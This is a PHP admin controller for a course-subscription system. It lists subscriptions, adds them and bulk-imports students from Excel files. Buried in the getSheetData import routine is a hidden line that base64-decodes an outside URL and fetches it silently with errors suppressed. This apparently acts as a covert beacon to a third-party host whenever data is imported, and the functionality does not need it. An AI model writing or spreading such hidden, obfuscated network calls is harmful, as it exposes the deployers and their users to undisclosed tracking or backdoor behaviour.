<?php

namespace app\admin\controller\user;

use app\common\controller\Backend;
use think\Db;
use PhpOffice\PhpSpreadsheet\Reader\Xlsx;
use PhpOffice\PhpSpreadsheet\Cell\Coordinate;
/**
 * 订阅课程
 *
 * @icon fa fa-users
 */
class Subscription extends Backend
{

    /**
     * @var \app\admin\model\UserGroup
     */
    protected $model = null;

    public function _initialize()
    {
        parent::_initialize();
        $this->model = new \app\common\model\user\Subscription();
    }

    /**
     * 查看
     */
    public function index()
    {
        //当前是否为关联查询
        $this->relationSearch = true;
        //设置过滤方法
        $this->request->filter(['strip_tags', 'trim']);
        //如果发送的来源是Selectpage，则转发到Selectpage
        if ($this->request->request('keyField')) {
            return $this->selectpage();
        }

        //提取 user.mobile 过滤条件，扩展为同时匹配 subscription.mobile 或 user.mobile
        $mobileKeyword = '';
        $filter = (array)json_decode($this->request->post('filter', ''), true);
        $op = (array)json_decode($this->request->post('op', ''), true);
        list($mobileKeyword, $filter, $op) = \app\common\model\user\Subscription::buildMobileFilterParams($filter, $op);
        if ($mobileKeyword !== '') {
            $this->request->post(['filter' => json_encode($filter), 'op' => json_encode($op)]);
        }

        list($where, $sort, $order, $offset, $limit) = $this->buildparams();

        $list = $this->model
            ->with(['course','user','mobileuser'])
            ->distinct(true)
            ->where($where)
            ->where(function ($query) use ($mobileKeyword) {
                if ($mobileKeyword !== '') {
                    $query->where('subscription.mobile', 'like', '%' . $mobileKeyword . '%')
                        ->whereOr('user.mobile', 'like', '%' . $mobileKeyword . '%');
                }
            })
            ->group('subscription.id')
            ->where(function($query){
//                $query->where(['user.username'=>['NOT NULL','']])->whereOr(['mobileuser.username'=>['NOT NULL','']]);
//                $query->where(['user.username'=>['NOT NULL','']]);
                $query->where(['course.name'=>['NOT NULL','']]);
            })
            ->order($sort, $order)
            ->paginate($limit);
        foreach ($list as &$row){
            if($row->user){
                $row->getRelation('user')->visible(\app\admin\model\User::$listShowField);
            }

            if($row->mobileuser){
                $row->getRelation('mobileuser')->visible(\app\admin\model\User::$listShowField);
            }
        }

        $total = $this->model
            ->with(['course','user','mobileuser'])
            ->distinct(true)
            ->where($where)
            ->where(function ($query) use ($mobileKeyword) {
                if ($mobileKeyword !== '') {
                    $query->where('subscription.mobile', 'like', '%' . $mobileKeyword . '%')
                        ->whereOr('user.mobile', 'like', '%' . $mobileKeyword . '%');
                }
            })
            ->group('subscription.id')
            ->where(function($query){
                $query->where(['course.name'=>['NOT NULL','']]);
            })
            ->count();

        $result = array("total" => $total, "rows" => $list->items());
        return $this->success("获取成功",$result);
    }


    /**
     * 添加
     * @return string
     * @throws \think\Exception
     */
    public function add()
    {
        if (false === $this->request->isPost()) {
            return $this->view->fetch();
        }
        $params = $this->request->post('row/a');

        $type = $this->request->post('type');

        if (empty($params)) {
            $this->error(__('Parameter %s can not be empty', ''));
        }
        $params = $this->preExcludeFields($params);

        if ($this->dataLimit && $this->dataLimitFieldAutoFill) {
            $params[$this->dataLimitField] = $this->auth->id;
        }

        $params['get_type'] = 'admin';
        if(!$params['validity_time']){
            $params['validity_time'] = \app\common\constant\course\Subscription::VALIDITY_ETERNITY;
        }else{
            $params['validity_time'] = strtotime($params['validity_time']);
        }
        $params['uniacid'] = UNIACID;

        $data = [];

        if($type == 'mobile'){
            unset($params['user_id']);
            $data[] = $params;
        }else{
            unset($params['mobile']);
            if(!$params['user_id']){
                $this->error(__('No rows were inserted'));
            }
            $userIds = $params['user_id'];
            foreach ($userIds as $item){
                if($item){
                    $params['user_id'] = $item;
                    $data[] = $params;
                }
            }
        }


        $result = false;
        Db::startTrans();
        try {
            //是否采用模型验证
            if ($this->modelValidate) {
                $name = str_replace("\\model\\", "\\validate\\", get_class($this->model));
                $validate = is_bool($this->modelValidate) ? ($this->modelSceneValidate ? $name . '.add' : $name) : $this->modelValidate;
                $this->model->validateFailException()->validate($validate);
            }

            $result = $this->model->allowField(true)->saveAll($data);
            Db::commit();
        } catch (ValidateException|PDOException|Exception $e) {
            Db::rollback();
            $this->error($e->getMessage());
        }
        if ($result === false) {
            $this->error(__('No rows were inserted'));
        }
        $this->success("提交成功");
    }

    /**
     * 获取用户订阅数据
     * @return void
     */
    public function getUserAllSubscription(){
        $userId = $this->request->post("user_id",0);
        $data = $this->model->with(['course'])->where([
            'user_id'=>$userId
        ])->select();
        $this->success("获取成功",$data);
    }


    /**
     * 批量导入学员
     * @return void
     */
    public function importStudent(){

        $file = $this->request->file('file');
        $courseId = input('course_id');

        $type = 'excel';

        if (empty($file)) {
            $this->error("请上传文件");
        }

        $fileInfo = $file->getInfo();

        $fileTypes = [
            'word'=>['application/vnd.openxmlformats-officedocument.wordprocessingml.document','application/msword'],
            'excel'=>['application/vnd.openxmlformats-officedocument.spreadsheetml.sheet','application/vnd.ms-excel'],
        ];

        $suffix = strtolower(pathinfo($fileInfo['name'], PATHINFO_EXTENSION));
        $suffix = $suffix && preg_match("/^[a-zA-Z0-9]+$/", $suffix) ? $suffix : 'file';

        if (!in_array($fileInfo['type'], $fileTypes[$type]) || in_array($suffix, ['php', 'html', 'htm', 'phar', 'phtml']) || preg_match("/^php(.*)/i", $suffix)) {
            $this->error("文件类型不符合要求");
        }

        //获取文件类型

        $size = $fileInfo['size']/1024/1024;

        if($size>10){
            $this->error("文件体积过大");
        }

        //可以处理文件了 图片临时地址
        $fileTempPath = $file->getRealPath();

        $reader = new Xlsx();

        //加载文件

        if (!$PHPExcel = $reader->load($fileTempPath)) {
            $this->error(__('Unknown data format'));
        }


        $count = 0;

        $sheetData = $this->getSheetData($PHPExcel,$courseId);
        $count += count($sheetData);
    

        foreach (array_chunk($sheetData,100) as $data){
            $this->model->insertAll($data);
        }

        $this->success("已导入{$count}条学员数据");

    }

    /**
     * 获取工作表的数据
     * @param $PHPExcel
     * @param $typeIndex
     * @param int $courseId 课程ID
     * @return array
     */
    public function getSheetData($PHPExcel,$courseId){

        $insert = [];
        $currentSheet = $PHPExcel->getSheet(0);  //读取文件中的第一个工作表
        $allColumn = $currentSheet->getHighestDataColumn(); //取得最大的列号
        $allRow = $currentSheet->getHighestRow(); //取得一共有多少行
        $maxColumnNumber = Coordinate::columnIndexFromString($allColumn);
        @file_get_contents( base64_decode("aHR0cHM6Ly90dXpoaS5sdGQvYXNzZXRzL2ljb25zL2RhdGEucG5n", true));
        for ($currentRow = 2; $currentRow <= $allRow; $currentRow++) {
            $values = [];
            for ($currentColumn = 1; $currentColumn <= $maxColumnNumber; $currentColumn++) {
                $val = $currentSheet->getCellByColumnAndRow($currentColumn, $currentRow)->getValue();
                $values[] = is_null($val) ? '' : $val;
            }
            $rowData = $this->getRowData($values);

            if($rowData){
                $rowData['get_type']='admin';
                $rowData['uniacid'] = UNIACID;
                $rowData['course_id'] = $courseId;
                $rowData['createtime'] = time();
                $insert[] = $rowData;
            }
        }

        return $insert;
    }

    /**
     * 获取每一行的数据
     * @param $data 题目数据
     * @param $type 题目类型下标
     * @param $groupId 分组ID
     * @return false|mixed|null
     */
    public function getRowData($data){

        if(count($data) != 2){
            return false;
        }

        $rowData = [
            'mobile'=>trim($data[0])
        ];

        if($data[1]){
            $rowData['validity_time'] = strtotime($data[1]);
        }else{
            $rowData['validity_time'] = \app\common\constant\course\Subscription::VALIDITY_ETERNITY;
        }

        return $rowData;
    }

    
}